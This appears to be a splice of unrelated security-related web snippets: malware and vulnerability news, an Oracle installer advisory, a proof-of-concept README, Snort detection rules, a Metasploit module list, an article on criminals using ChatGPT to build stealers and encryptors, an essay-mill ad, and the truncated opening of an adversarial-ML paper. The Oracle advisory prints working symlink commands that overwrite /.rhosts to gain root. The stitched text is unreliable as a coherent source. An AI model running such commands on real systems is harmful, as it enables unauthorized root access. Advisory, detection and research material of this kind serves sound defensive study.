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Exploit.SunOS.snamp.a is an exploit released by the Last Stage of Delirium (LSD) in 2001. The CVE number for the vulnerability it exploits is: CVE-2001-0236. It exploits a heap overflow vulnerability in an RPC service, resulting in unauthorized root access. This tool, in itself, won't run automatically; it has to be launched either manually or through a script. This threat can be simply deleted from the system. It does not spread itself or hide in any way. A False Positive is when a file is incorrectly detected as harmful, usually because its code or behavior resembles known harmful programs. A False Positive will usually be fixed in a subsequent database update without any action needed on your part. If you wish, you may also: Check for the latest database updates First check if your F-Secure security program is using the latest detection database updates, then try scanning the file again. Submit a sample After checking, if you still believe the file is incorrectly detected, you can submit a sample of it for re-analysis. NOTE If the file was moved to quarantine, you need to collect the file from quarantine before you can submit it. Exclude a file from further scanning If you are certain that the file is safe and want to continue using it, you can exclude it from further scanning by the F-Secure security product. Note You need administrative rights to change the settings.
The right way to send a secret message to anyone, understanding the basics of 3 pass protocol Major giveaway of a certied penetration testing or hacker training worth Rs.30,000 or $410 on the occasion of our 1 year anniversary. Particiapte now!! This post is a walkthrough of the PickleRick which is a Rick and Morty themed Tryhackme room. The goal is to find three hidden flags. The most basic steps and explanation to crack any WPA, WPA2-PSK networks using Airmon-Ng. The second phase of ethical hacking and penetration testing involves two terms that are Vulnerability Scanning and Enumeration. Scanning involves taking the knowledge discovered during reconnaissance and using it to look at the network Information gathering isn’t just a phase of security testing; it’s an art that each penetration tester and hacker should master. Let’s dive deeper into it. The 5 Phases of Hacking are: Reconnaissance, Scanning, Gaining Access(Exploitation), Maintaining Access/Persistence and Clearing Tracks. In the information security (InfoSec) community, “CIA” has nothing to try to to with a particular well-recognized US intelligence. These three letters stand for Confidentiality, Integrity, and Availability, also known as the CIA Triad. Together these principles are the foundation of any organization’s information security. There’s no fixed way to start hacking, and you need not be of a computer science background to learn this. But there are some basic knowledge and things you need to know in order to become one. Here are 3 main things every Beginner Hacker should know about. These tips will get you started and are very important. As this global pandemic spreads fear among everyone, more and more companies are having virtual conferences to continue their business’. More often than not, these are using the Zoom Video Communication, or more commonly Zoom app for this. You might have used Zoom for your online classes or such a conference. But how secure is this infamous application? Keep reading to learn more.
A new variant of the Bagle worm that turns off antivirus and personal firewalls is likely to spread rapidly, warn antivirus experts. Organizations blocking the .exe, .scr, .com and .cpl extensions significantly reduce their risk of infection to this worm, as well as many others. W32/Bagle-AS@mm spreads via e-mail and peer-to-peer networks, and has a spoofed address and variable subject lines. The worm is also called Bagle-AZ (McAfee), Beagle-AR (Symantec), Worm_Bagle-AM (Trend Micro) and I-Worm.Bagle-AX (Virusbuster). According to TruSecure Corp. in Herndon, Va., Bagle-AS communicates through backdoors on TCP port 81 and UDP port 81. McAfee Inc. in Santa Clara, Calif. said the worm opens TCP port 81 and a random UDP port on the victim machine. McAfee lists Bagle-AS as a medium-level threat and said it's a mass-mailing threat that contains its own SMTP engine to construct outgoing messages. "Similar to previous variants, it harvests addresses from local files and then uses the harvested addresses in the from field to send itself. It contains a remote access component and copies itself to folders that have the phrase 'shar' in the name, such as common peer-to-peer applications, including KaZaA, Bearshare and Limewire," according to the McAfee advisory. The advisory also said that when the .exe file is run, the worm copies itself into the Windows System directory as Bawindo.exe. In an advisory to its clients, TruSecure, soon to be known as Cybertrust, said the
Today, we worked, with the help of ioerror on IRC, on reducing the attack surface in our fetcher methods. There are three things that we looked at: - Reducing privileges by setting a new user and group - seccomp-bpf sandbox Today, we implemented the first of them. Starting with 1.1~exp3, the APT directories /var/cache/apt/archives and /var/lib/apt/lists are owned by the “_apt” user (username suggested by pabs). The methods switch to that user shortly after the start. The only methods doing this right now are: copy, ftp, gpgv, gzip, http, https. If privileges cannot be dropped, the methods will fail to start. No fetching will be possible at all. - We drop all groups except the primary gid of the user - copy breaks if that group has no read access to the files We plan to also add chroot() and seccomp sandboxing later on; to reduce the attack surface on untrusted files and protocol parsing.
No description provided by source. source: http://www.securityfocus.com/bid/1035/info A vulnerability exists in the installation program for Oracle 8.1.5i. The Oracle installation scripts will create a directory named /tmp/orainstall, owned by oracle:dba, mode 711. Inside of this directory it will create a shell script named orainstRoot.sh, mode 777. The installation script will then stop and ask the person installing to run this script. The installation program at no point attempts to determine if the directory or script already exist. This makes it possible to create a symbolic link from the orainstRoot.sh file to elsewhere on the file system. This could be used to create a .rhosts file, for instance, and gain access to the root account. In addition, since the orainstRoot.sh file is mode 777, it is possible for any user on the machine to edit this script to execute arbitrary commands when run by root. Again, this can result in the compromise of the root account. It is not readily apparent what versions of Oracle this does and does not affect. It has been confirmed on Oracle 8.1.5i, on the Linux/Intel platform. mkdir /tmp/orainstall ln -sf /.rhosts /tmp/orainstall/orainstRoot.sh
The U.S. Cybersecurity and Infrastructure Security Agency published an advisory to warn of the discovery of a crypto-mining malware in the popular NPM Package UAParser.js. The popular library has million of weekly downloads. “Versions of a popular NPM package named ua-parser-js was found to contain malicious code. ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. A computer or device with the affected software installed or running could allow a remote attacker to obtain sensitive information or take control of the system.” reads the advisory. “CISA urges users and administers using compromised ua-parser-js versions 0.7.29, 0.8.0, and 1.0.0 to update to the respective patched versions: 0.7.30, 0.8.1, 1.0.1.” The analysis of the experts revealed that at least three tainted versions of the package were uploaded to the repository, versions 0.7.29, 0.8.0, and 1.0.0. According to the maintainer of the library,Faisal Salman, a threat actor has hijacked his NPM account to publish the infected packages. “I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary).” wrote the maintainer of the UAParser.js. “I believe someone was hijacking my npm account and published some compromised packages ( 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0. I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish) so I can only deprecate them with a warning message.” The tainted versions were replaced with clean versions 0.7.30, 0.8.1, and 1.0.1. “The npm package ua-parser-js had three versions published with malicious code. Users of affected versions (0.7.29, 0.8.0, 1.0.0) should upgrade as soon as possible and check their systems for suspicious activity. See this issue for details as they unfold.” reads another alert published by GitHub. “Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.” The good news is that the above packages remained on the repository only for a day before they were discovered. (SecurityAffairs – hacking, UAParser)
# PoC for CVE-2023-23333 (solarView-Compact) This script checks if an IP address is vulnerable to CVE-2023-23333. It utilizes the `curl` command to execute a specific command on the target device and capture the output. If the IP address is vulnerable, it displays the output and saves the full output to a file. - Python 3.x - `curl` command-line tool When prompted, enter the IP address and port of the device in the format: 192.168.1.138 The script will execute the command and display the vulnerability status. If the IP address is vulnerable, it will show the output. The full output will be saved to a file named full-output.txt in the same directory. This script is intended for educational and informational purposes only. It should only be used on systems where you have explicit permission to test for vulnerabilities. Unauthorized use of this script may violate laws and regulations.
Hello want your help with assignment please write a summary of the readings to be uploaded one and a half single-spaced pages (approximately 900 words). must be prepared to lead the discussion for that class. Content of the oral and written assignment will consist of 1) a brief summary of the key points of the readings; 2) your comments on those key points—for example do you agree or disagree? why or why not; and 3)At the end of the paper do me 3 questions these readings raise but do not answer it. Power Point is not required. – Singer/Friedman. CyberSecurity and Cyber War, Part II, Sections: “Cyberwar, Ugh, What Are Zeros and Ones Good For?”: Defining CyberWar A War by Any Other Name? The Legal Side of Cyber Conflict What Might a “Cyberwar” Actually Look Like? Computer Network Operations Focus: What is the Military Approach to CyberWar? Focus: What is the Chinese Approach to Cyber War? What about Deterrence in an Era of Cyberwar? Why is Threat Assessment So Hard in Cyberwar? Does the Cybersecurity World Favor the Weak or the Strong? Who Has the Advantage, the Offense or the Defense? A New Kind of Arms Race: What Are the Dangers of Cyber Proliferation? **Are There Lessons from the Past Arms Races? I uploaded the book for the readings and an Example paper than what my paper should be like I also want a presentation about the reading around 4 or 5 slides. Delivering a high-quality product at a reasonable price is not enough anymore. That’s why we have developed 5 beneficial guarantees that will make your experience with our service enjoyable, easy, and safe. You have to be 100% sure of the quality of your product to give a money-back guarantee. This describes us perfectly. Make sure that this guarantee is totally transparent.Read more Each paper is composed from scratch, according to your instructions. It is then checked by our plagiarism-detection software. There is no gap where plagiarism could squeeze in.Read more Thanks to our free revisions, there is no way for you to be unsatisfied. We will work on your paper until you are completely happy with the result.Read more Your email is safe, as we store it according to international data protection rules. Your bank details are secure, as we use only reliable payment systems.Read more By sending us your money, you buy the service we provide. Check out our terms and conditions if you prefer business talks to be laid out in official language.Read more
How many times that we who work at the SOC find that it’s damn hard to validate an incident? Let say that we received one alerts; WEB-PHP remote include path (my fav), 1st let us see the rules. This is to know how the hell the alert triggered; alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”WEB-PHP remote include path”; flow:established,to_server; uricontent:”.php“; content:”path=“; pcre:”/path=(http\|https\|ftp)/i“; classtype:web-application-attack; sid:2002; rev:5;) So, usually we will see the payloads and try to identify what is actually happening; ent: Mozilla/5.0(compatible; Koqueror/3.5; FreBSD) KHTML/3.5. (like Gecko).. Accept: text/html, image/jpeg, image/png, text/* , image/, /.. Accept-Encoding:x-gzip, x-deflate, gzip, deflate..Accept-Charset: iso-8859-1, utf-8;q=0.5, ;q=0.5..Accept-Language: en..Host:192.168.2.127 What else can you do? Besides identifying the targeted system’s operating system and applications, how can we sure that whether this attack is successful or not? Same as this alert : WEB-IIS cmd.exe access. See the rules; alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”WEB-IIS cmd.exe access”; flow:to_server,established; uricontent:”cmd.exe“; nocase; classtype:web-application-attack; sid:1002; rev:8;) and see the payload ; Connection: Keep Alive..Content-Length: 0..User-Agent: Mozilla/4.75..Host: 192.168.2.127…. You might wonder how the hell the alert triggered? It seems that there’s no cmd.exe existed in the payload. Actually there is. Basically the attacker using the availabality of url encoding instead of directly type in “cmd.exe”. Even though url specification (RFC 1738) states that “…Only alphanumerics [0-9a-zA-Z], the special characters “$-_.+!*’(),” and reserved characters used for their reserved purposes may be used unencoded within a URL.” HTML otherwise allows the entire range of the ISO-8859-1 (ISO-Latin) character set to be used in documents – and HTML4 expands the allowable range to include all of the Unicode character set as well. In the case of non-ISO-8859-1 characters (characters above FF hex/255 decimal in the Unicode set), they just can not be used in URLs, because there is no safe way to specify character set information in the URL content yet [RFC2396.] You can read further on url encoding here. So basically the input of will be parsed as %73 =s; %69 =i; %70 =p; %73 =s; %72 =r; %61 =a; %63 =c; %6c =l; %69 =i; %64 =d; %6c= l; %65 =e; %70 =p; %6e =n; %78 =x; %69 =i; %66 =f; %69 =i; %6d =m; %70 =p; %74 =t; %65 =e; %2e = .; %5c =\; %2e =.; %5c =\; %2e =.; %2e =.; %77 =w; %69 =i; %6e =n; %5c =\; %73 =s; %79 =y; %73 =s; %74 =t; %65 =e; %6d =m; %33 =3; %32 =2; %5c =\; %64 =d; %78 =x; %65 =e; %3f =?; %2b =+; %69 =i; %72 =r. Again back to the question whether the assets that we monitored vulnerable to this kind of attack? It’s not a big problem if our assets Operating System are Unix Based or Unix variant but whut if they are using Windows based with IIS as their web engines? The key information that we need in order to validate this kind attack is how the server respond to this kind of request. How can we get such information? I will touch that on the second part of this topic
The Rapid7 Exploit Database is an archive of Metasploit modules for publicly known exploits, 0days, remote exploits, shellcode, and more for researches and penetration testers to review. 3,000 plus modules are all available with relevant links to other technical documentation and source code. All of the modules included in the Exploit Database are also included in the Metasploit framework and utilized by our penetration testing tool, Metasploit Pro. Disclosed: April 11, 2018 Metasploit's msfd-service makes it possible to get a msfconsole-like interface over a TCP socket. If this socket is accessible on a remote interface, an attacker can execute commands on the victim's machine. If msfd is running with higher privileges than the current local user, this module can also be used for privilege ... Steamed Hams Exploit Disclosed: April 01, 2018 but it's a Metasploit Module Disclosed: March 28, 2018 This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. Disclosed: March 21, 2018 This module exploits a flaw in OSX 10.13 through 10.13.3 that discloses the passwords of encrypted APFS volumes. In OSX a normal user can use the 'log' command to view the system logs. In OSX 10.13 to 10.13.2 when a user creates an encrypted APFS volume the password is visible in plaintext within these logs. Etcd Version Scanner Exploit Disclosed: March 16, 2018 This module connections to etcd API endpoints, typically on 2379/TCP, and attempts to obtain the version of etcd. Disclosed: March 16, 2018 This module queries the etcd API to recursively retrieve all of the stored key value pairs. Etcd by default does not utilize authentication. Disclosed: March 09, 2018 This module triggers a Denial of Service vulnerability in the Flexense HTTP server. Vulnerability caused by a user mode write access memory violation and can be triggered with rapidly sending variety of HTTP requests with long HTTP header values. Multiple Flexense applications that are using Flexense HTTP server 10.6.24 ... HTTP SickRage Password Leak Exploit Disclosed: March 08, 2018 SickRage < v2018-09-03 allows an attacker to view a user's saved Github credentials in HTTP responses unless the user has set login information for SickRage. By default, SickRage does not require login information for the installation. Disclosed: March 07, 2018 This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessi... Disclosed: March 03, 2018 This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902). A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability. It is possible for an attacker to upload a malicious script to issue operating system commands. This issue is caused by improper sess...
ChatGPT: Using artificial intelligence for the next exploit? by Tina Siering How cybercriminals are already utilising ChatGPT today Artificial intelligence (AI) has been used to programme malicious code before. With ChatGPT, however, cyber criminals without much programming knowledge are now able to develop malware. The following three examples show which threat scenarios the cyber-crime scene is already discussing today. 1. Creation of an info stealer On 29 December 2022, a thread titled "ChatGPT - Benefits of Malware" appeared in an underground hacking forum. The author reported that he was trying to recreate malware strains and techniques using ChatGPT. The user also provided two examples that even technically inexperienced cybercriminals could use immediately: - The first example was the code of a stealer developed with Python. This searches for common file types such as MS Office documents, PDFs and pictures, copies them into a temporary directory, compresses them and uploads them to a hard-coded FTP server. The files are sent over the Internet unencrypted, so that they can also fall into the hands of third parties. - The second example shows a simple Java snippet that downloads the SSH and Telnet client PuTTY and executes it covertly using Powershell. Basically, any programme could be downloaded and executed - including common malware. 2. Creation of an encryption tool On 21 December 2022, a threat actor named "USDoD" published a Python script that he claimed was the first script he had ever created. In response, another cybercriminal commented that the style of the code was similar to OpenAI code. USDoD confirmed that OpenAI had helped him complete the script. What may sound harmless at first turns out on closer inspection to be a hodgepodge of different signing, encryption and decryption functions that can be used to encrypt a computer without any user interaction: - The first part of the script generates a cryptographic key that is used to sign files. - The second part of the script contains functions that use a hard-coded password to encrypt files in a specific directory or in a list of files. - The script also uses RSA keys, certificates stored in PEM format, MAC signing certificates and the blake2 hash function. 3. Use for fraud activities On New Year's Eve 2022, a thread appeared entitled "Abusing ChatGPT to create Dark Web Marketplaces scripts". In it, a cybercriminal describes how easy it is to create a dark web marketplace using ChatGPT. Such a platform allows automated trading of illegal or stolen goods - including drugs, ammunition, malware, and stolen accounts and payment cards. Payment is made in cryptocurrencies. As an illustration, the threat actor published code that uses a third-party API to retrieve current prices for cryptocurrencies (Monero, Bitcoin and Etherium). In early 2023, several threat actors exchanged ideas on how to use ChatGPT for further fraudulent activities. For example, they discussed generating artwork using another OpenAI technology (DALL-E 2) and selling it online through legal platforms like Etsy. Another user explained how ChatGPT can be used to create entire e-books and sell them online. Will artificial intelligence change the cyber threat situation? It still seems to be primarily script kiddies - young hackers without programming skills - who are interested in criminal activities using ChatGPT. But it may only be a matter of time before more sophisticated threat actors enter the scene. So how dangerous are these threat scenarios for IT security? Currently, security experts do not expect ChatGPT to fundamentally change the cyber threat situation. Nevertheless, an increase in mass-produced malware is to be expected, whereby the malware generated by AI is neither worse nor better than the malicious code created by humans. In addition, phishing emails are expected to increase in quality and effectiveness with the help of ChatGPT. Whereas fraudulent emails could previously be sorted out with spam filters and common sense, it will probably become much more difficult to recognise a phishing email in the future. This is because the AI can generate extremely credibly formulated mail texts without spelling mistakes within a very short time - and in many different languages. In addition, the bot could be able to conduct very realistic and interactive conversations via email or launch chat attacks via Facebook Messenger, WhatsApp or other programmes. The next step: Deceptively real scam dialogues The use of AI for scamming would thus be even trickier. This is the generic term for scams in which cybercriminals communicate with their victims for a longer period of time in order to scam a certain amount of money. In the private sector, these are often so-called romance scams, in which the scammers first shower their victims with professions of love in order to then ask them for financial help. In the business sector, on the other hand, the fraud method "Business E-Mail Compromise" (BEC) is widespread: Here, employees are made to think they are communicating with their boss or a business partner who is asking them to make a payment or send sensitive data. Since ChatGPT generates new content fully automatically and can also disguise cultural backgrounds, the chatbot could well be able to conduct a credible written dialogue with the victims in the future. The AI could, for example, make use of knowledge from social networks. Such a personal attack would be indistinguishable from a real conversation between two people. Although the cybercriminal activities of ChatGPT are still in a rather experimental early phase, it is already possible to predict how hackers could use the chatbot for their purposes in the future. Artificial intelligence not only enables the mass creation of malware and credible phishing emails, but also the creation of deceptively genuine correspondence. Cybercriminals will presumably gain a new "toolkit" with ChatGBT, making it easier for fraudsters to mislead people and obtain money and data. Consequently, people will be challenged more than ever to implement effective security strategies - and, above all, to consider them on a permanent basis.
By gaining access to the vehicles, hackers can not only locate them but also open their doors and even turn off the engine while the owner is driving. Two popular car alarm companies are facing problems with their products. Viper and Pandora are famous for their alarms that cost thousands of dollars, and promise greater safety for the owner of the vehicle. These applications work in such a way that they allow the owner to control their vehicles through a cellphone, which makes everything more practical. But a vulnerability in the system could allow hackers to find such vehicles, unlock the doors, and in some cases even turn off the engine while they are on the move – In total, 3 million cars have been exposed. It is worth mentioning that before the vulnerability was reported to Pandora its website claimed to have “unhackable” security. In the screenshot below researchers exposed how they successfully located the car before unlocking it. The vulnerabilities were discovered by the team of researchers at Pen Test Partners. When questioned, Viper said that as soon as it was notified, it began working on a fix for the problem. Pandora has not spoken, but on its website, there is information that says they “use a code of dialogue that is impossible to hack.” Ken Munro of Pen Test Partners, said his team did not need much work to break into the alarm system because the Pandora application system leaves a great opening for it. In their analysis, researchers discovered that the notification interface of both applications was not properly made for update requests, including a request to change the password or the email address. Moreover, researchers only sent the request for a change to a specific URL and it was possible to change the victim’s account information without being notified that something happened. Once with account access, it was possible to fully control the alarm. Pandora’s alarm system also contained a microphone that allowed hackers to hear audio from inside the car in real time. “A conservative estimate suggests that $150 Billion worth of vehicles were exposed. These alarms did not add any additional security to protect against key relay attacks, and before they were fixed they actually exposed the owners to additional attacks and compromised their safety, researchers concluded. The good news is that at the time of publishing this article both companies had fixed the life threating vulnerabilities in their apps – At least that is what both companies are claiming. This, however, is not the first time when experts have exposed critical vulnerabilities in smart technology for vehicles. Last year, researchers at KU Leuven University, Belgium successfully demonstrated unlocking of Tesla wireless key fobs in 2 seconds and steal the vehicle before the owner could notice. Moreover, in 2015, a security researcher who goes by the name Samy Kamkar built a gadget that enabled him to hack into any GM vehicles, track their location and unlock their doors without raising any suspicion to owners.
Sealioning (also spelled sea-lioning and sea lioning ) is a type of trolling or harassment which consists of pursuing people with persistent requests for evidence or repeated questions, while maintaining a pretense of civility. It may take the form of "incessant, bad-faith invitations to engage in debate." The troll feigns ignorance and politeness, so that if the target is provoked into making an angry response, the troll can then act as the aggrieved party. Sealioning can be performed by a single troll or by multiple ones acting in concert. The technique of sealioning has been compared to the Gish gallop and metaphorically described as a denial-of-service attack targeted at human beings.
- OceanLotus is believed to be a Vietnam-linked cyberespionage group that targets organizations across multiple sectors. - The packet sniffing feature of Ratsnif trojan focuses on extracting login credentials and other sensitive data via protocol parsing. OceanLotus APT group, also known as APT32, SeaLotus, and CobaltKitty, has been found using a variant of a lesser-known remote access trojan Ratsnif to perform network attacks. OceanLotus is believed to be a Vietnam-linked cyberespionage group and targets organizations across multiple sectors. What’s the matter? Cylance Threat Research Team has detected four distinct samples of Ratsnif trojan, three of which were developed in 2016. The fourth sample was created in the second half of 2018 and includes significant modifications when compared to the previous versions. The analysis reveals the fourth version of Ratsnif includes several features to launch attack against an organization’s network such as: - Packet sniffing - ARP poisoning - DNS spoofing - HTTP redirection - Mac spoofing - Remote shell The packet sniffing feature of Ratsnif trojan focuses on extracting login credentials and other sensitive data via protocol parsing. How does Ratsnif operate? Once installed on the target machine, Ratsnif creates a run once mutex named ‘oneinstance’. This initializes Winsock version 2.2 and allows the trojan to harvest system information such as username, computer name, workstation configuration (via NetWkstaGetInfo API), Windows system directory and network adapter information. The information is then sent to the attacker’s C2 server via an HTTP post. How is the fourth variant different from other samples? Cylance Threat Research Team noted that this particular sample of Ratsnif trojan comes wrapped in two layers of shellcode. Unlike the previous variants, it does not rely on C2 servers for operations. “The loader DLL decodes the payload, copies it to memory and executes the 1st stage shellcode, which will decompress the binary and execute the 2nd stage shellcode in a separate thread. The 2nd stage shellcode will inject the sniffer executable into memory and hook several API functions responsible for returning the process command line, so they return a hardcoded string instead,” wrote the researchers in a blog post. Another difference between 2016 variants and the 2018 one is that the former samples stored all packets to a PCAP file. However, the latter uses multiple sniffing methods to collect sensitive information from packets. To read the original article:
Generally, attacks of ransomware are directed at selected and unique targets. But last weekend, the group REvil (or Sodinokibi) managed to claim hundreds of victims, perhaps thousands, in various parts of the world. To do this, hackers exploited a vulnerability in a system from the Kaseya, a company that provides IT services to various organizations. Preliminary information suggests that around 1,000 companies have been affected by ransomware, but that number could be much higher. Not surprisingly, this is considered one of the biggest attacks ever carried out with this type of malware — if not the biggest. If you work in IT, you’ve probably heard of Kaseya. The company specializes in systems for managing networks or technology infrastructure. These tools are used primarily by managed service providers (MSP), that is, companies that control IT resources for other companies. How the attack was conducted If Kaseya offers systems to providers that provide IT services to other companies, that means that if one of their tools is compromised with security, then all organizations that use that feature are likely to be vulnerable, right? Right. That’s how REvil managed to take so many victims in such a short time. The group exploited a zero-day failure in Kaseya VSA, system for remote monitoring or management. Zero-day failure is one that is exploited before the developer releases a fix. The irony of this story is that Kaseya was already providing a solution to the problem, but the attack was carried out before this work was completed. Discovered by security researcher Wietse Boonstra of the Dutch Institute for Vulnerability Disclosure (DIVD) and identified as CVE-2021-30116, the flaw in the Kaseya VSA was exploited last Friday (2). As the issue involves the system’s update mechanism, attackers were able to quickly spread the ransomware to Kaseya VSA customers. To do this, the group used the strategy of inserting malicious code into legitimate software which, in turn, was distributed by the update mechanism. It is a supply chain attack. In this modality, the threat contaminates legitimate software that is later distributed through the official channels of the developer or supplier. In the attack on Kaseya, there was an aggravating factor: the VSA folders on Windows are configured in such a way as to make security tools ignore their contents. This allowed the malware to run locally and then activate an outdated version of the Windows Defender anti-malware service to get through this tool unharmed. From there, the ransomware found the free way to encrypt files on the infected computers and thus complete the attack. Redemption of $70 million When REvil or any other group of ransomware makes a victim, usually the ransom requested has its value based on the company’s assessment of its ability to pay. But the recent attack broke the pattern. The number of victims is so large that REvil has created a pricing policy, so to speak. The investigations indicate that, initially, the group asked for redemptions in the amount of US$ 5 million for companies that act as MSP and between US$ 40 thousand and US$ 50 thousand for their clients. However, records of some deals show that, in fact, each ransom request between $40,000 and $50,000 concerns a single encryption extension. The problem is that by encrypting files, attackers can use multiple extensions in the same attack. O BleepingComputer points out that one of the victims found more than ten extensions on their systems, prompting the attackers to charge a $500,000 ransom. Later, a post published by REvil on a dark web blog shows that the group is willing to release a universal tool capable of recovering all victims’ data for a payment of $70 million in bitcoins. This is the highest redemption value ever requested by REvil so far. US president promises to investigate With so many victims, the damage caused by this attack is enormous. Just to give you an example, the newspaper The New York Times reports that around 800 Coop supermarket chain stores had to be closed in Sweden because of ransomware. In its blog, REvil claims that more than a million systems have been infected, although this number has not been proven. The matter is so serious that Joe Biden, president of the United States, ordered the country’s intelligence agencies to investigate the attack to identify the culprits. It will not be an easy task. REvil works with the model of ransomware as a service. This means that the group recruits “affiliates” to carry out attacks with their ransomware and, if successful, takes a percentage of the ransoms they earn. This approach not only makes it difficult to identify those responsible for the attacks, it also increases the malware’s reach. Among the most recent victims of REvil is the Brazilian JBS, which paid the equivalent of US$ 11 million in cryptocurrency as a ransom so as not to have internal data leaked by the attackers. Everything indicates that Grupo Fleury was also a victim of REvil, although the company did not recognize the attack. With information: Wired, The Verge, BleepingComputer, Reuters, The Washington Post, The New York Times.
The mass adoption of AI-powered systems has motivated re-examination of the reliability, privacy, and security of AI algorithms. With respect to security, it was discovered early on that image based AI algorithms are vulnerable to a class of adversarial evasion attacks [szegedy2014intriguing, goodfellow2014explaining]. In such attacks, an adversary introduces a small amount of noise, imperceptible to the human eye, in order to reliably induce misclassification errors during inference. Since its discovery, a large body of research has proposed numerous empirical defense strategies such as transforming the model’s inputs [guo2017countering] , modifying the neural network architecture[gu2015deep], and training the network on an alternative training dataset [chen2018improving]. Despite the vast number of works, both in developing new adversarial attacks and proposing new defenses, including robust physical world attacks [eykholt2018robust], the adversarial threat model remains unmotivating to ML practitioners. In a small industry survey, Kumar et al. , discovered that while most organizations surveyed were aware of adversarial examples, they remarked “This [adversarial ML] looks futuristic” and lack tools in place to study and mitigate such attacks. We argue that two key issues hinder the acceptance of adversarial evasion attacks as a threat: (1) the unmotivating threat model used by most prior work and (2) the lack of tools for evaluating complex adversarial attacker and defender interactions. Following Kerckhoffs’s principle, adversarial attacks and defenses have mainly been studied using a white-box threat model, i.e., full knowledge of the network and defense parameters. Under this lens, many proposed defenses were shown to be ineffective as an attacker with perfect knowledge could adapt to the defense [Athalye2018ObfuscatedGG]. However, such a strong threat model can only be replicated by attackers with insider access to the AI algorithm and training data. In real deployment scenarios, an organization is primarily concerned about the security of its AI systems against outside attackers. Despite the lack of recognition of adversarial ML as a threat, there has been a rise in adversarial attack libraries that enable ML practitioners to study the current state-of-the-art attack and defense algorithms. Some examples include University of Toronto’s CleverHans [papernot2018cleverhans], MIT’s robustness package [robustness], University of Tübingen’s Foolbox [rauber2017foolboxnative], and IBM’s Adversarial Robustness Toolbox (ART) [art2018]. Each library defines a unified framework through which practitioners can evaluate the effectiveness of an attack or defense using their own AI systems. Unfortunately, such evaluations are limited by nature as the evaluated threat model is limited by the attack algorithm. Furthermore, both the attacker and defender are assumed static. They do not modify their behavior based on the actions of the other and, as such, the reported effectiveness is misleading and does not translate into a meaningful notion of effectiveness in the real world. In this paper, we describe a new evaluation framework, Ares, which represents adversarial attack scenarios as a complex, dynamic interaction between the attacker and defender. We explore the conflict between the attacker and defender as two independent agents in a reinforcement learning (RL) environment with opposing objectives, creating a richer and more realistic environment for adversarial ML evaluation. By utilizing this RL-environment, we are able to tweak the attacker or defender’s strategy (the RL policy) to be static, randomized, or even learnable. Ares also allows the investigation of both white-box and black-box threat models, drawing inspiration from the limitations of prior evaluations. For its debut, we have used Ares to re-examine the security of the ensemble/moving target defense (MTD) framework in a white-box scenario and highlight the vulnerability of this setup. Using different combinations of naturally trained and adversarially trained models, an Ares evaluation finds that, in general, the attacker always wins and adversarial training can only slightly delay the attacker’s success. As prior work discusses, the attacker’s success is largely due to the transferability of adversarial examples [goodfellow2014explaining]. We investigate this phenomenon more thoroughly through the lens of Ares and discover that the shared loss gradients between networks, regardless of training method or model architecture, is the main culprit. We then discuss how MTDs could be improved based on this discovery and our next steps towards evaluating MTDs and other prior works in a black-box threat model through Ares. In this paper we make the following contributions: We develop Ares, an RL-based evaluation framework for adversarial ML that allows researchers to explore attack/defense strategies at a system level. Using Ares, we re-examine ensemble/moving target defense strategies under the white-box threat model and show that the root cause of this failure is due to the shared loss gradient between the networks. The Ares framework is publicly available at https://github.com/Ethos-lab/ares as we continue development for additional features and improvement. Ii Background & Related Work Adversarial Evasion Attacks. Prior works have uncovered several classes of vulnerabilities for ML models and designed attacks to exploit them [chakraborty2018adversarial]. In this paper, we focus on one such class of attacks known as evasion attacks. In an evasion attack, the adversary’s goal is to generate an “adversarial example” – a carefully perturbed input that causes misclassification. Evasion attacks against ML models have been developed to suit a wide range of scenarios. White-box attacks [szegedy2014intriguing, goodfellow2014explaining, kurakin2016adversarial, croce2020reliable] assume full knowledge of/access to the model, including but not limited to model’s architecture, parameters, gradients, and training data. Such attacks, although extremely potent, are mostly impractical in real-world scenarios [pierazzi2020intriguing] as the ML models used in commercial systems are usually hidden underneath a layer of system/network security measures. Focusing on strengthening these security measures not only provides improved protection for the underlying ML models against white-box attacks, it also improves the overall security posture of the system, and hence, is often a more practical and desirable approach. Black-box attacks [papernot2017practical, eykholt2018robust, brendel2018decision, shi2019curls, dong2019evading, chen2020hopskipjumpattack, croce2020minimally], on the other hand, only assume query access to the target ML models. Such a threat model offers a more practical assumption as several consumer facing ML models provide this access to their users [azurecv, googlecv, awsrekognition, clarifai]. Defenses against Evasion Attacks. A wide range of strategies to address the threat of adversarial evasion attacks have also been proposed. One line of works look at tackling this issue at test-time [gu2015deep, guo2017countering, meng2017magnet, chen2018improving, liao2018defense]. These works usually involve variations of a preprocessing step that filters out the adversarial noise from the input before feeding it to the ML model. These defenses, however, have been shown to convey a false sense of security and so, been easily broken using adaptive attacks [Athalye2018ObfuscatedGG]. Another popular strategy involves re-training the model using a robustness objective [madry2018towards, zhang2019theoretically, xie2019feature]. The defenses that employ this strategy show promise as they have (so far) stood strong in the face of adaptive adversaries. All the defenses discussed so far belong in the broad category of empirical defenses. These defenses only provide empirical guarantees of robustness and may not be secure against a future attack. Another line of works look at developing methods that can train certifiably robust ML models [cohen2019certified, salman2019provably, zhai2020macer]. These models can offer formal robustness guarantees against any attacker with a pre-defined budget. Defenses based on Ensembling. One commonly known property of adversarial examples is that they can similarly fool models independently trained on the same data [goodfellow2014explaining]. Adversaries can exploit this property by training a surrogate model to generate adversarial examples against a target model. This, in fact, is a popular strategy used by several black-box attacks [papernot2017practical, shi2019curls, dong2019evading]. Tramèr et 